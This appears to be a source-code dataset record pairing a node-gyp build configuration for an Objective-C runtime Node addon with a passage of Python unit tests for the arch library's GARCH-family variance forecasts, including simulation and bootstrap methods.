sandeepmistry/node-objective-c-runtime
e0b26c4b5494b3b10625fb51bcaaf2c4d9511d88
[ "MIT" ]
null
null
null
binding.gyp
sandeepmistry/node-objective-c-runtime
e0b26c4b5494b3b10625fb51bcaaf2c4d9511d88
[ "MIT" ]
null
null
null
# Copyright (c) Sandeep Mistry. All rights reserved. # Licensed under the MIT license. See LICENSE file in the project root for full license information. { 'targets': [ { 'target_name': 'class', 'conditions': [ ['OS=="mac"', { 'sources': [ 'src/class.mm' ], 'xcode_settings': { 'CLANG_CXX_LIBRARY': 'libc++', 'MACOSX_DEPLOYMENT_TARGET': '10.8' } }] ], 'include_dirs': ["<!@(node -p \"require('node-addon-api').include\")"], 'dependencies': ["<!(node -p \"require('node-addon-api').gyp\")"], 'defines': [ 'NAPI_DISABLE_CPP_EXCEPTIONS' ], "link_settings": { "libraries": ["/System/Library/Frameworks/Foundation.framework"] } }, { 'target_name': 'dispatch', 'conditions': [ ['OS=="mac"', { 'sources': [ 'src/dispatch.cpp' ], 'xcode_settings': { 'CLANG_CXX_LIBRARY': 'libc++', 'MACOSX_DEPLOYMENT_TARGET': '10.8' } }] ], 'include_dirs': ["<!@(node -p \"require('node-addon-api').include\")"], 'dependencies': ["<!(node -p \"require('node-addon-api').gyp\")"], 'defines': [ 'NAPI_DISABLE_CPP_EXCEPTIONS' ] }, { 'target_name': 'dl', 'conditions': [ ['OS=="mac"', { 'sources': [ 'src/dl.cpp' ], 'xcode_settings': { 'CLANG_CXX_LIBRARY': 'libc++', 'MACOSX_DEPLOYMENT_TARGET': '10.8' } }] ], 'include_dirs': ["<!@(node -p \"require('node-addon-api').include\")"], 'dependencies': ["<!(node -p \"require('node-addon-api').gyp\")"], 'defines': [ 'NAPI_DISABLE_CPP_EXCEPTIONS' ] }, { 'target_name': 'objc', 'conditions': [ ['OS=="mac"', { 'sources': [ 'src/objc.mm' ], 'xcode_settings': { 'CLANG_CXX_LIBRARY': 'libc++', 'MACOSX_DEPLOYMENT_TARGET': '10.8' } }] ], 'include_dirs': ["<!@(node -p \"require('node-addon-api').include\")"], 'dependencies': ["<!(node -p \"require('node-addon-api').gyp\")"], 'defines': [ 'NAPI_DISABLE_CPP_EXCEPTIONS' ], "link_settings": { "libraries": ["/System/Library/Frameworks/Foundation.framework"] } }, { 'target_name': 'sel', 'conditions': [ ['OS=="mac"', { 'sources': [ 'src/sel.cpp' ], 'xcode_settings': { 'CLANG_CXX_LIBRARY': 'libc++', 'MACOSX_DEPLOYMENT_TARGET': '10.8' } }] ], 'include_dirs': ["<!@(node -p \"require('node-addon-api').include\")"], 'dependencies': ["<!(node -p \"require('node-addon-api').gyp\")"], 'defines': [ 'NAPI_DISABLE_CPP_EXCEPTIONS' ] } ] }
29.474747
100
0.473955
255
2,918
5.219608
0.25098
0.037566
0.090158
0.12021
0.863261
0.769346
0.769346
0.769346
0.769346
0.769346
0
0.007545
0.318711
2,918
98
101
29.77551
0.661972
0.051062
0
0.673684
0
0
0.470716
0.126175
0
0
0
0
0
1
0
true
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
fbf4e35a621c1bc0a6f8e4039e181fe29a2bd5c7
81,965
py
Python
venv/lib/python3.8/site-packages/arch/tests/univariate/test_variance_forecasting.py
johncollinsai/post-high-frequency-data
88533b0e0afc7e7f82fee1d3ca4b68abc30aaeb4
[ "MIT" ]
1
2021-11-27T18:15:30.000Z
2021-11-27T18:15:30.000Z
venv/lib/python3.8/site-packages/arch/tests/univariate/test_variance_forecasting.py
johncollinsai/post-high-frequency-data
88533b0e0afc7e7f82fee1d3ca4b68abc30aaeb4
[ "MIT" ]
null
null
null
venv/lib/python3.8/site-packages/arch/tests/univariate/test_variance_forecasting.py
johncollinsai/post-high-frequency-data
88533b0e0afc7e7f82fee1d3ca4b68abc30aaeb4
[ "MIT" ]
null
null
null
import numpy as np from numpy.random import RandomState from numpy.testing import assert_allclose import pandas as pd import pytest from arch.univariate import arch_model from arch.univariate.distribution import Normal, StudentsT from arch.univariate.mean import ConstantMean try: from arch.univariate.recursions import figarch_weights except ImportError: from arch.univariate.recursions_python import figarch_weights from arch.univariate.volatility import ( APARCH, EGARCH, FIGARCH, GARCH, HARCH, BootstrapRng, ConstantVariance, EWMAVariance, FixedVariance, MIDASHyperbolic, RiskMetrics2006, ) try: from arch.univariate.recursions import garch_recursion except ImportError: from arch.univariate.recursions_python import garch_recursion def _compare_truncated_forecasts(full, trunc, start): assert np.all(np.isfinite(trunc.forecasts[:start])) assert_allclose(trunc.forecasts, full.forecasts[start:]) if full.forecast_paths is None: assert trunc.forecast_paths is None assert trunc.shocks is None return class PreservedState(object): """ Context manager that will save NumPy's random generator's state when entering and restore the original state when exiting. """ def __init__(self, random_state): self._random_state = random_state self._state = None def __enter__(self): self._state = self._random_state.get_state() def __exit__(self, exc_type, exc_val, exc_tb): self._random_state.set_state(self._state) preserved_state = PreservedState def _simple_direct_gjrgarch_forecaster( resids, params, p, o, q, backcast, var_bounds, horizon ): """ Simple GARCH forecasting for use when testing model-based forecasts Parameters ---------- resids : ndarray params : ndarray p : int o : int q : int backcast : float var_bounds : ndarray horizon : int Returns ------- forecasts : ndarray """ m = max([p, o, q]) t = resids.shape[0] _resids = resids _sigma2 = np.empty(t) garch_recursion( params, resids ** 2.0, np.sign(resids), _sigma2, p, o, q, t, backcast, var_bounds, ) resids = np.empty((t, m + horizon)) asymresids = resids.copy() sigma2 = np.empty((t, m + horizon)) resids[:, :m] = np.sqrt(backcast) asymresids[:, :m] = np.sqrt(0.5 * backcast) sigma2[:, :m] = backcast for i in range(m): resids[m - 1 - i :, i] = _resids[: (t - (m - 1) + i)] asymresids[m - 1 - i :, i] = _resids[: (t - (m - 1) + i)] * ( _resids[: (t - (m - 1) + i)] < 0 ) sigma2[m - 1 - i :, i] = _sigma2[: (t - (m - 1) + i)] for i in range(m, m + horizon): sigma2[:, i] = params[0] ind = 1 for j in range(p): sigma2[:, i] += params[ind] * resids[:, i - j - 1] ** 2.0 ind += 1 for j in range(o): sigma2[:, i] += params[ind] * asymresids[:, i - j - 1] ** 2.0 ind += 1 for j in range(q): sigma2[:, i] += params[ind] * sigma2[:, i - j - 1] ind += 1 resids[:, i] = np.sqrt(sigma2[:, i]) asymresids[:, i] = np.sqrt(0.5 * sigma2[:, i]) return sigma2[:, m:] class TestVarianceForecasts(object): @classmethod def setup_class(cls): cls.rng = RandomState(12345) cls.t = 1000 cls.resid = cls.rng.standard_normal(cls.t) * np.sqrt(10) def test_constant_variance_forecast(self): vol = ConstantVariance() params = np.array([10.0]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast(params, self.resid, backcast, var_bounds) assert np.all(np.isfinite(forecast.forecasts)) assert forecast.forecasts[-1] == params[0] assert forecast.forecast_paths is None assert forecast.shocks is None forecast = vol.forecast(params, self.resid, backcast, var_bounds, horizon=5) assert forecast.forecasts.shape == (1, 5) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts == params[0]) assert forecast.forecast_paths is None assert forecast.shocks is None forecast = vol.forecast(params, self.resid, backcast, var_bounds, start=100) assert forecast.forecasts.shape == (900, 1) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts == params[0]) assert forecast.forecast_paths is None assert forecast.shocks is None forecast = vol.forecast( params, self.resid, backcast, var_bounds, start=100, horizon=3 ) assert forecast.forecasts.shape == (900, 3) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(forecast.forecasts == params[0]) assert forecast.forecast_paths is None assert forecast.shocks is None with pytest.raises(ValueError): vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, method="bootstrap", start=0, simulations=2000, ) def test_arch_1_forecast(self): t = self.t vol = GARCH(p=1, o=0, q=0) params = np.array([10.0, 0.4]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast(params, self.resid, backcast, var_bounds) expected = np.empty((t, 1)) expected.fill(np.nan) expected[-1] = params[0] + params[1] * self.resid[-1] ** 2 assert_allclose(forecast.forecasts, expected[-1:]) assert forecast.forecast_paths is None assert forecast.shocks is None forecast = vol.forecast(params, self.resid, backcast, var_bounds, horizon=5) assert forecast.forecasts.shape == (1, 5) assert np.all(np.isfinite(forecast.forecasts)) assert forecast.forecast_paths is None assert forecast.shocks is None expected = np.zeros(5) expected[0] = params[0] + params[1] * self.resid[-1] ** 2 for i in range(1, 5): expected[i] = params[0] + params[1] * expected[i - 1] assert_allclose(forecast.forecasts[-1], expected) forecast = vol.forecast(params, self.resid, backcast, var_bounds, start=0) assert forecast.forecasts.shape == (1000, 1) assert np.all(np.isfinite(forecast.forecasts)) assert forecast.forecast_paths is None assert forecast.shocks is None expected = params[0] + params[1] * self.resid ** 2 expected.shape = (1000, 1) assert_allclose(forecast.forecasts, expected) forecast = vol.forecast( params, self.resid, backcast, var_bounds, start=0, horizon=3 ) assert forecast.forecasts.shape == (1000, 3) assert np.all(np.isfinite(forecast.forecasts)) assert forecast.forecast_paths is None assert forecast.shocks is None expected = np.zeros((1000, 3)) expected[:, 0] = params[0] + params[1] * self.resid ** 2 for i in range(1, 3): expected[:, i] = params[0] + params[1] * expected[:, i - 1] assert_allclose(forecast.forecasts, expected) forecast = vol.forecast( params, self.resid, backcast, var_bounds, start=100, horizon=3 ) assert_allclose(forecast.forecasts, expected[100:]) with pytest.raises(ValueError, match="horizon must be an integer >= 1"): vol.forecast(params, self.resid, backcast, var_bounds, start=0, horizon=0) def test_arch_1_forecast_simulation(self): dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = GARCH(p=1, o=0, q=0) params = np.array([10.0, 0.4]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=1, method="simulation", rng=rng, ) assert forecast.forecasts.shape == (1, 1) assert forecast.forecast_paths.shape == (1, 1000, 1) assert forecast.shocks.shape == (1, 1000, 1) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(np.isfinite(forecast.forecast_paths)) expected = params[0] + params[1] * self.resid[-1] ** 2.0 assert_allclose(forecast.forecasts[-1], expected) assert_allclose(forecast.forecast_paths[-1], expected * np.ones((1000, 1))) assert_allclose(forecast.shocks[-1], np.sqrt(expected) * rng((1000, 1))) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, method="simulation", rng=rng, ) paths = np.zeros((1000, 5)) paths[:, 0] = expected std_shocks = rng((1000, 5)) shocks = np.zeros((1000, 5)) shocks[:, 0] = np.sqrt(paths[:, 0]) * std_shocks[:, 0] for i in range(1, 5): paths[:, i] = params[0] + params[1] * shocks[:, i - 1] ** 2 shocks[:, i] = np.sqrt(paths[:, i]) * std_shocks[:, i] assert forecast.forecasts.shape == (1, 5) assert forecast.forecast_paths.shape == (1, 1000, 5) assert forecast.shocks.shape == (1, 1000, 5) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(np.isfinite(forecast.shocks)) assert_allclose(forecast.forecasts[-1], paths.mean(0)) assert_allclose(forecast.forecast_paths[-1], paths) assert_allclose(forecast.shocks[-1], shocks) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, start=100, method="simulation", simulations=2000, rng=rng, ) paths = np.zeros((1000, 2000, 5)) paths.fill(np.nan) shocks = np.zeros((1000, 2000, 5)) shocks.fill(np.nan) for i in range(100, 1000): std_shocks = rng((2000, 5)) paths[i, :, 0] = params[0] + params[1] * self.resid[i] ** 2.0 shocks[i, :, 0] = np.sqrt(paths[i, :, 0]) * std_shocks[:, 0] for j in range(1, 5): paths[i, :, j] = params[0] + params[1] * shocks[i, :, j - 1] ** 2 shocks[i, :, j] = np.sqrt(paths[i, :, j]) * std_shocks[:, j] assert_allclose(forecast.shocks, shocks[100:]) assert_allclose(forecast.forecast_paths, paths[100:]) assert_allclose(forecast.forecasts, paths[100:].mean(1)) def test_arch_1_forecast_bootstrap(self): vol = GARCH(p=1, o=0, q=0) params = np.array([10.0, 0.4]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, method="bootstrap", random_state=self.rng, ) sigma2 = np.zeros(1000) sigma2[0] = params[0] + params[1] * backcast for i in range(1, 1000): sigma2[i] = params[0] + params[1] * self.resid[i - 1] ** 2.0 std_resids = self.resid / np.sqrt(sigma2) locs = np.floor(1000 * self.rng.random_sample((1000, 5))).astype(np.int64) std_shocks = std_resids[locs] paths = np.zeros((1000, 5)) paths[:, 0] = params[0] + params[1] * self.resid[-1] ** 2.0 shocks = np.zeros((1000, 5)) shocks[:, 0] = np.sqrt(paths[:, 0]) * std_shocks[:, 0] for i in range(1, 5): paths[:, i] = params[0] + params[1] * shocks[:, i - 1] ** 2 shocks[:, i] = np.sqrt(paths[:, i]) * std_shocks[:, i] assert forecast.forecasts.shape == (1, 5) assert forecast.forecast_paths.shape == (1, 1000, 5) assert forecast.shocks.shape == (1, 1000, 5) assert np.all(np.isfinite(forecast.forecasts)) assert np.all(np.isfinite(forecast.forecast_paths)) assert np.all(np.isfinite(forecast.shocks)) assert_allclose(forecast.forecasts[-1], paths.mean(0)) assert_allclose(forecast.forecast_paths[-1], paths) assert_allclose(forecast.shocks[-1], shocks) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=5, method="bootstrap", start=333, simulations=2000, random_state=self.rng, ) paths = np.zeros((1000, 2000, 5)) paths.fill(np.nan) shocks = np.zeros((1000, 2000, 5)) shocks.fill(np.nan) for i in range(333, 1000): locs = self.rng.random_sample((2000, 5)) int_locs = np.floor((i + 1) * locs).astype(np.int64) std_shocks = std_resids[int_locs] paths[i, :, 0] = params[0] + params[1] * self.resid[i] ** 2.0 shocks[i, :, 0] = np.sqrt(paths[i, :, 0]) * std_shocks[:, 0] for j in range(1, 5): paths[i, :, j] = params[0] + params[1] * shocks[i, :, j - 1] ** 2 shocks[i, :, j] = np.sqrt(paths[i, :, j]) * std_shocks[:, j] assert_allclose(forecast.forecast_paths, paths[333:]) assert_allclose(forecast.forecasts, paths[333:].mean(1)) assert_allclose(forecast.shocks, shocks[333:]) def test_arch_2_forecast(self): vol = GARCH(p=2, o=0, q=0) params = np.array([10.0, 0.4, 0.3]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0 ) expected = _simple_direct_gjrgarch_forecaster( self.resid, params, 2, 0, 0, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None def test_garch_11_forecast(self): vol = GARCH(p=1, o=0, q=1) params = np.array([10.0, 0.1, 0.85]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0 ) expected = _simple_direct_gjrgarch_forecaster( self.resid, params, 1, 0, 1, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None def test_gjrgarch_111_forecast(self): vol = GARCH(p=1, o=1, q=1) params = np.array([10.0, 0.05, 0.1, 0.85]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0 ) expected = _simple_direct_gjrgarch_forecaster( self.resid, params, 1, 1, 1, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None def test_garch_21_forecast(self): vol = GARCH(p=2, o=0, q=1) params = np.array([10.0, 0.05, 0.1, 0.85]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0 ) expected = _simple_direct_gjrgarch_forecaster( self.resid, params, 2, 0, 1, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None def test_garch_12_forecast(self): vol = GARCH(p=1, o=0, q=2) params = np.array([10.0, 0.1, 0.55, 0.3]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0 ) expected = _simple_direct_gjrgarch_forecaster( self.resid, params, 1, 0, 2, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None def test_garch_22_forecast(self): vol = GARCH(p=2, o=0, q=2) params = np.array([10.0, 0.1, 0.05, 0.4, 0.3]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0 ) expected = _simple_direct_gjrgarch_forecaster( self.resid, params, 2, 0, 2, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None def test_harch_forecast(self): vol = HARCH(lags=[1, 5, 22]) params = np.array([10.0, 0.4, 0.3, 0.2]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0 ) trans_params = np.zeros(23) trans_params[0] = params[0] trans_params[1:2] += params[1] trans_params[1:6] += params[2] / 5 trans_params[1:23] += params[3] / 22 expected = _simple_direct_gjrgarch_forecaster( self.resid, trans_params, 22, 0, 0, backcast, var_bounds, 10 ) assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None def test_tarch_111_forecast(self): t = self.t vol = GARCH(p=1, o=1, q=1, power=1.0) params = np.array([3.0, 0.1, 0.1, 0.80]) backcast = vol.backcast(self.resid) var_bounds = vol.variance_bounds(self.resid, power=1.0) forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=1, start=0 ) sigma = np.zeros((t + 1, 1)) sigma[0] = params[0] + (params[1] + 0.5 * params[2] + params[3]) * backcast resid = self.resid abs_resid = np.abs(resid) sresid = resid < 0 for i in range(1, t + 1): sigma[i] = params[0] sigma[i] += params[1] * abs_resid[i - 1] sigma[i] += params[2] * abs_resid[i - 1] * sresid[i - 1] sigma[i] += params[3] * sigma[i - 1] expected = sigma[1:] ** 2.0 assert_allclose(forecast.forecasts, expected) assert forecast.forecast_paths is None assert forecast.shocks is None with pytest.raises(ValueError): vol.forecast(params, self.resid, backcast, var_bounds, horizon=10, start=0) def test_tarch_111_forecast_simulation(self): t = self.t vol = GARCH(p=1, o=1, q=1, power=1.0) dist = StudentsT(seed=self.rng) rng = dist.simulate([8.0]) params = np.array([3.0, 0.1, 0.1, 0.80]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids, power=1.0) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=0, rng=rng, method="simulation", ) one_step = vol.forecast( params, self.resid, backcast, var_bounds, horizon=1, start=0 ) paths = np.zeros((1000, 10)) shocks = np.zeros((1000, 10)) for j in range(t): std_shocks = rng((1000, 10)) paths[:, 0] = one_step.forecasts[j, 0] shocks[:, 0] = std_shocks[:, 0] * np.sqrt(paths[:, 0]) sqrt_path = np.sqrt(paths[:, 0]) for i in range(1, 10): abs_err = np.abs(shocks[:, i - 1]) err_neg = shocks[:, i - 1] < 0 sqrt_path = ( params[0] + params[1] * abs_err + params[2] * abs_err * err_neg + params[3] * sqrt_path ) paths[:, i] = sqrt_path ** 2 shocks[:, i] = sqrt_path * std_shocks[:, i] assert_allclose(paths.mean(0), forecast.forecasts[j]) assert_allclose(paths, forecast.forecast_paths[j]) assert_allclose(shocks, forecast.shocks[j]) def test_tarch_111_forecast_bootstrap(self): t = self.t vol = GARCH(p=1, o=1, q=1, power=1.0) dist = StudentsT(seed=self.rng) rng = dist.simulate([8.0]) params = np.array([3.0, 0.1, 0.1, 0.80]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids, power=1.0) sigma2 = np.zeros(t) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=100, rng=rng, method="bootstrap", random_state=self.rng, ) std_resids = resids / np.sqrt(sigma2) one_step = vol.forecast( params, self.resid, backcast, var_bounds, horizon=1, start=100 ) paths = np.zeros((1000, 10)) shocks = np.zeros((1000, 10)) for j in range(100, t): locs = self.rng.random_sample((1000, 10)) int_locs = np.floor(locs * (j + 1)).astype(np.int_) std_shocks = std_resids[int_locs] paths[:, 0] = one_step.forecasts[j - 100, 0] shocks[:, 0] = std_shocks[:, 0] * np.sqrt(paths[:, 0]) sqrt_path = np.sqrt(paths[:, 0]) for i in range(1, 10): abs_err = np.abs(shocks[:, i - 1]) err_neg = shocks[:, i - 1] < 0 sqrt_path = ( params[0] + params[1] * abs_err + params[2] * abs_err * err_neg + params[3] * sqrt_path ) paths[:, i] = sqrt_path ** 2 shocks[:, i] = sqrt_path * std_shocks[:, i] assert_allclose(shocks, forecast.shocks[j - 100]) assert_allclose(paths.mean(0), forecast.forecasts[j - 100]) assert_allclose(paths, forecast.forecast_paths[j - 100]) with pytest.raises(ValueError): vol.forecast( params, self.resid, backcast, var_bounds, horizon=2, start=20, rng=rng, method="bootstrap", random_state=self.rng, ) with pytest.raises(ValueError): vol.forecast(params, self.resid, backcast, var_bounds, method="unknown") def test_harch_forecast_simulation(self): t = self.t vol = HARCH(lags=[1, 5, 22]) dist = Normal(seed=self.rng) rng = dist.simulate([]) params = np.array([3.0, 0.4, 0.3, 0.2]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=10, start=0, rng=rng, method="simulation", ) resids2 = np.zeros((t, 22 + 10)) resids2.fill(backcast) for i in range(22): resids2[21 - i :, i] = resids[: (t - 21 + i)] ** 2.0 paths = np.zeros((t, 1000, 10)) shocks = np.zeros((t, 1000, 10)) const = 3.0 arch = np.zeros(22) arch[0] = 0.4 arch[:5] += 0.3 / 5 arch[:22] += 0.2 / 22 for i in range(t): std_shocks = rng((1000, 10)) temp = np.empty((1000, 32)) temp[:, :22] = resids2[i : i + 1, :22] for j in range(10): paths[i, :, j] = const + temp[:, j : 22 + j].dot(arch[::-1]) shocks[i, :, j] = std_shocks[:, j] * np.sqrt(paths[i, :, j]) temp[:, 22 + j] = shocks[i, :, j] ** 2.0 forecasts = paths.mean(1) assert_allclose(forecast.forecasts, forecasts) assert_allclose(forecast.forecast_paths, paths) assert_allclose(forecast.shocks, shocks) def test_harch_forecast_bootstrap(self): t = self.t vol = HARCH(lags=[1, 5, 22]) dist = Normal(seed=self.rng) rng = dist.simulate([]) params = np.array([3.0, 0.4, 0.3, 0.2]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) sigma2 = np.empty_like(resids) vol.compute_variance(params, resids, sigma2, backcast, var_bounds) with preserved_state(self.rng): forecast = vol.forecast( params, self.resid, backcast, var_bounds, horizon=10, start=100, rng=rng, method="bootstrap", random_state=self.rng, ) std_resid = resids / np.sqrt(sigma2) resids2 = np.zeros((t, 22 + 10)) resids2.fill(backcast) for i in range(22): resids2[21 - i :, i] = resids[: (t - 21 + i)] ** 2.0 paths = np.zeros((t, 1000, 10)) paths.fill(np.nan) shocks = np.zeros((t, 1000, 10)) shocks.fill(np.nan) const = 3.0 arch = np.zeros(22) arch[0] = 0.4 arch[:5] += 0.3 / 5 arch[:22] += 0.2 / 22 for i in range(100, t): locs = self.rng.random_sample((1000, 10)) locs *= i + 1 int_locs = np.floor(locs).astype(np.int64) std_shocks = std_resid[int_locs] temp = np.empty((1000, 32)) temp[:, :22] = resids2[i : i + 1, :22] for j in range(10): paths[i, :, j] = const + temp[:, j : 22 + j].dot(arch[::-1]) shocks[i, :, j] = std_shocks[:, j] * np.sqrt(paths[i, :, j]) temp[:, 22 + j] = shocks[i, :, j] ** 2.0 forecasts = paths.mean(1) assert_allclose(forecast.forecasts, forecasts[100:]) assert_allclose(forecast.forecast_paths, paths[100:]) assert_allclose(forecast.shocks, shocks[100:]) def test_egarch_111_forecast(self): t = self.t dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = EGARCH(p=1, o=1, q=1) params = np.array([0.0, 0.1, 0.1, 0.95]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=1, start=0 ) _resids = np.array(resids.tolist() + [0]) _sigma2 = np.empty_like(_resids) _var_bounds = np.array(var_bounds.tolist() + [[0, np.inf]]) vol.compute_variance(params, _resids, _sigma2, backcast, _var_bounds) sigma2 = _sigma2[:-1] one_step = _sigma2[1:][:, None] assert_allclose(forecast.forecasts, one_step) assert forecast.forecast_paths is None assert forecast.shocks is None expected = forecast.forecasts.copy() expected[:-1] = np.nan forecast = vol.forecast(params, resids, backcast, var_bounds, horizon=1) assert_allclose(forecast.forecasts, expected[-1:]) assert forecast.forecast_paths is None assert forecast.shocks is None with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=5, start=0, method="simulation", rng=rng, ) paths = np.empty((t, 1000, 5)) shocks = np.empty((t, 1000, 5)) sqrt2pi = np.sqrt(2 / np.pi) for i in range(t): std_shocks = rng((1000, 5)) paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 5): paths[i, :, j] = ( params[0] + params[1] * (np.abs(std_shocks[:, j - 1]) - sqrt2pi) + params[2] * std_shocks[:, j - 1] + params[3] * paths[i, :, j - 1] ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths.mean(1)) assert_allclose(forecast.forecast_paths, paths) assert_allclose(forecast.shocks, shocks) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=5, start=100, method="bootstrap", random_state=self.rng, ) std_resids = resids / np.sqrt(sigma2) paths = np.empty((t, 1000, 5)) paths.fill(np.nan) shocks = np.empty((t, 1000, 5)) shocks.fill(np.nan) sqrt2pi = np.sqrt(2 / np.pi) for i in range(100, t): locs = self.rng.random_sample((1000, 5)) int_locs = np.floor((i + 1) * locs).astype(np.int64) std_shocks = std_resids[int_locs] paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 5): paths[i, :, j] = ( params[0] + params[1] * (np.abs(std_shocks[:, j - 1]) - sqrt2pi) + params[2] * std_shocks[:, j - 1] + params[3] * paths[i, :, j - 1] ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths[100:].mean(1)) assert_allclose(forecast.forecast_paths, paths[100:]) assert_allclose(forecast.shocks, shocks[100:]) with pytest.raises(ValueError): vol.forecast(params, resids, backcast, var_bounds, horizon=5) def test_egarch_101_forecast(self): t = self.t dist = Normal(seed=self.rng) rng = dist.simulate([]) vol = EGARCH(p=1, o=0, q=1) params = np.array([0.0, 0.1, 0.95]) resids = self.resid backcast = vol.backcast(resids) var_bounds = vol.variance_bounds(resids) forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=1, start=0 ) _resids = np.array(resids.tolist() + [0]) _sigma2 = np.empty_like(_resids) _var_bounds = np.array(var_bounds.tolist() + [[0, np.inf]]) vol.compute_variance(params, _resids, _sigma2, backcast, _var_bounds) sigma2 = _sigma2[:-1] one_step = _sigma2[1:][:, None] assert_allclose(forecast.forecasts, one_step) assert forecast.forecast_paths is None assert forecast.shocks is None expected = forecast.forecasts.copy() expected[:-1] = np.nan forecast = vol.forecast(params, resids, backcast, var_bounds, horizon=1) assert_allclose(forecast.forecasts, expected[-1:]) assert forecast.forecast_paths is None assert forecast.shocks is None with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=5, start=0, method="simulation", rng=rng, ) paths = np.empty((t, 1000, 5)) shocks = np.empty((t, 1000, 5)) sqrt2pi = np.sqrt(2 / np.pi) for i in range(t): std_shocks = rng((1000, 5)) paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 5): paths[i, :, j] = ( params[0] + params[1] * (np.abs(std_shocks[:, j - 1]) - sqrt2pi) + params[2] * paths[i, :, j - 1] ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths.mean(1)) assert_allclose(forecast.forecast_paths, paths) assert_allclose(forecast.shocks, shocks) with preserved_state(self.rng): forecast = vol.forecast( params, resids, backcast, var_bounds, horizon=5, start=100, method="bootstrap", random_state=self.rng, ) std_resids = resids / np.sqrt(sigma2) paths = np.empty((t, 1000, 5)) paths.fill(np.nan) shocks = np.empty((t, 1000, 5)) shocks.fill(np.nan) sqrt2pi = np.sqrt(2 / np.pi) for i in range(100, t): locs = self.rng.random_sample((1000, 5)) int_locs = np.floor((i + 1) * locs).astype(np.int64) std_shocks = std_resids[int_locs] paths[i, :, 0] = np.log(one_step[i]) for j in range(1, 5): paths[i, :, j] = ( params[0] + params[1] * (np.abs(std_shocks[:, j - 1]) - sqrt2pi) + params[2] * paths[i, :, j - 1] ) shocks[i, :, :] = np.exp(paths[i, :, :] / 2) * std_shocks paths = np.exp(paths) assert_allclose(forecast.forecasts, paths[100:].mean(1)) assert_allclose(forecast.forecast_paths, paths[100:]) assert_allclose(forecast.shocks, 